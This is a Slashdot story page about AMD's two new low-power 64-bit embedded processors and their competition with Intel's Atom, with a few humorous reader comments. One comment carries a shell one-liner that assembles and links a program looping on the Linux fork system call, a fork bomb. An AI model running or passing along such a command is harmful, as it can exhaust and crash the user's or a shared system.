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AMD Releases 2 Low-Power 64-bit Processors

Posted by timothy on from the competition-is-grand dept.

rwiggers writes "AMD has released two new low power processors for embedded apps. With a power of 18W and a chipset with 3W of average consumption [PDF] it seems we may have some interesting competition with Intel's Atom."

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  1. Re:point of sale systems? by Hal_Porter · · Score: 2, Funny

    But one of the users would install all sorts of malware and viruses. My highly trained (MSCE A+) technician tells me it's impossible to build an operating system which is immune to infection. He also told me Ubuntu had a higher total cost of ownership than Microsoft Vista XP 7 and doesn't support industry standards properly.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Re:18W "Thermal Design Power" by EmagGeek · · Score: 2, Funny

    "Sigh... like they say: "A datasheet writer can get twice the performance out of a chip that an engineer can.""

    And a marketing manager can get 4 times that...